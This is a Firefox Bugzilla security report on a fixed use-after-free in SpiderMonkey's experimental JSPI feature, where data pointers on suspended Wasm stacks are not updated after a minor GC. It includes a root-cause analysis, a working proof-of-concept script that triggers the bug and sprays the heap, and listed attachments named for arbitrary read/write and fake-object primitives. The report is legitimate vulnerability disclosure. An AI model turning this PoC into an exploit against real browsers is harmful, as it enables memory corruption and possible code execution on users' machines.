Closed Bug 2008358 Opened 10 months ago Closed 6 months ago

Use-after-free in JSPI: data ptrs on suspended stack are not updated

Tracking

()

Status:

RESOLVED FIXED

Milestone:

151 Branch

Tracking Flags:

Tracking

Status

firefox-esr115

---

unaffected

firefox-esr140

---

unaffected

firefox148

---

disabled

firefox149

---

disabled

firefox150

---

disabled

firefox151

---

fixed

People

(Reporter: canalun, Assigned: rhunt)

References

(Blocks 1 open bug)

Details

(Keywords: csectype-uaf, sec-high, unsupported-config, Whiteboard: [client-bounty-form])

Attachments

(4 files)

poc.js 10 months ago Kanaru Sato [:canalun] 1.73 KB, text/javascript		Details
poc_crash.js 10 months ago Kanaru Sato [:canalun] 1.06 KB, text/javascript		Details
poc_arbitrary_rw.js 10 months ago Kanaru Sato [:canalun] 4.94 KB, text/javascript		Details
poc_addrOf_and_fakeObj.js 10 months ago Kanaru Sato [:canalun] 2.98 KB, text/javascript		Details

Kanaru Sato [:canalun]

Reporter

Description

•

10 months ago

Attached file poc.js — Details

Summary

For JSPI, UaF occurs if a minor GC occurs during suspension. This is because data pointer is not properly updated for suspended stack.

JSPI is an experimental feature, but the user can enable it. So I report it just in case.

Root Cause

I'm not 100% sure for root cause. But here is my observation.

UpdateJitActivationsForMinorGC updates data pointer in the case of wasm only for active stack by calling Instance::updateFrameForMovingGC, which calls nursery.forwardBufferPointer for OOL ArrayDataPointer(
https://searchfox.org/firefox-main/source/js/src/wasm/WasmInstance.cpp#3306).

/js/src/jit/JitFrames.cpp:1510-1529
https://searchfox.org/firefox-main/source/js/src/jit/JitFrames.cpp#1510-1529

void UpdateJitActivationsForMinorGC(JSRuntime* rt) {
MOZ_ASSERT(JS::RuntimeHeapIsMinorCollecting());
Nursery& nursery = rt->gc.nursery();
JSContext* cx = rt->mainContextFromOwnThread();
for (JitActivationIterator activations(cx); !activations.done();
     ++activations) { // [1] active stack only
  for (JitFrameIter iter(activations->asJit()); !iter.done(); ++iter) {
    if (iter.isJSJit()) {
      [...]
    } else if (iter.isWasm()) {
      const wasm::WasmFrameIter& frame = iter.asWasm();
      frame.instance()->updateFrameForMovingGC( // [2] update data pointer
          frame, frame.resumePCinCurrentFrame(), nursery);
    }
  }
}
}

For suspended stack, Context::traceRoots() calls TraceSuspendableStack.

js/src/wasm/WasmContext.cpp#93-108
https://searchfox.org/firefox-main/source/js/src/wasm/WasmContext.cpp#93-108

void Context::traceRoots(JSTracer* trc) {
  // The suspendedStacks_ contains suspended stacks frames that need to be
  // traced only during minor GC. The major GC tracing is happening via
  // SuspenderObject::trace.
  // Non-suspended stack frames are traced as part of TraceJitActivations.
  if (!trc->isTenuringTracer()) {
    return;
  }
  gc::AssertRootMarkingPhase(trc);
  for (auto iter = suspenders_.iter(); !iter.done(); iter.next()) {
    SuspenderObject* object = iter.get();
    if (object->state() == SuspenderState::Suspended) {
      TraceSuspendableStack(trc, object);
    }
  }
}

But TraceSuspendableStack doesn't call updateFrameForMovingGC(). TraceSuspendableStack calls traceFrame, but it doesn't update data pointer.

So if minor GC happens during suspension, nursery objects is freed and UaF occurs by writing objects from JS.

STR

version: I tried it on commit 3619619 on autoland, which is used for 148.0a1 (2026-01-02) (aarch64).

Save the following as poc.js.

async function run() {
  var wasm_code = wasmTextToBinary(`
    (module
      (type $small_array (array (mut i32)))
      (import "env" "suspending_import" (func $suspending_import (result externref)))

      (func $trigger (export "trigger") (result i32)
        (local $arr1 (ref $small_array))
        (local $temp i32)

        ;; Create a small array to ensure nursery allocation
        (local.set $arr1 (array.new $small_array (i32.const 0x42424242) (i32.const 30)))

        ;; Suspend - all data pointers should be on stack in stackmap
        (call $suspending_import)
        (drop)

        ;; Access arrays after resume
        ;; If any data pointer wasn't updated, we'll access freed memory
        (array.get $small_array (local.get $arr1) (i32.const 0))
      )
    )
  `);
  const wasmModule = new WebAssembly.Module(wasm_code);

  const jsSuspendingImport = new WebAssembly.Function(
    { parameters: [], results: ['externref'] },
    () => {
      minorgc();
      // Fill nursery with garbage to overwrite freed memory
      let garbage = [];
      for(let i=0; i<200000; i++) {
        garbage.push({a: 0x1, b: 0x1, c: 0x1});
      }
    }
  );
  const wrappedSuspendingImport = new WebAssembly.Suspending(jsSuspendingImport);
  const wasmInstance = await WebAssembly.instantiate(wasmModule, {
    env: {
      suspending_import: wrappedSuspendingImport
    }
  });

  const trigger = WebAssembly.promising(wasmInstance.exports.trigger);

  const result = await trigger();
  print("[*] Result: 0x" + result.toString(16));

  const expected = 0x42424242;
  print("[*] Expected: 0x" + (expected >>> 0).toString(16));

  if ((result >>> 0) !== (expected >>> 0)) {
    print("[!!!] Difference: " + ((result - expected) >>> 0).toString(16));
  }
}

run()

Run with Ion. Specifically, ./js --wasm-compiler=ion -P wasm_js_promise_integration=true poc.js. (--ion-warmup-threshold=0 may be not necessary. But if you can't reproduce the bug, please try it.)
You might get a result like this. I confirmed every run gave me different results.

[*] Result: 0x-d7ffe00
[*] Expected: 0x42424242
[!!!] Difference: b03dbfbe

Here is my mozconfig just in case.

ac_add_options --enable-project=js
ac_add_options --disable-optimize
ac_add_options --disable-unified-build
ac_add_options --disable-debug
ac_add_options --enable-debug-symbols
ac_add_options --disable-tests

ac_add_options --enable-address-sanitizer
ac_add_options --disable-jemalloc
ac_add_options --disable-install-strip
ac_add_options --enable-jitspew

ac_add_options --enable-gczeal

mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@

Impact

I'm now checking if RCE or some impactful thing can be achieved with this bug.

Flags: sec-bounty?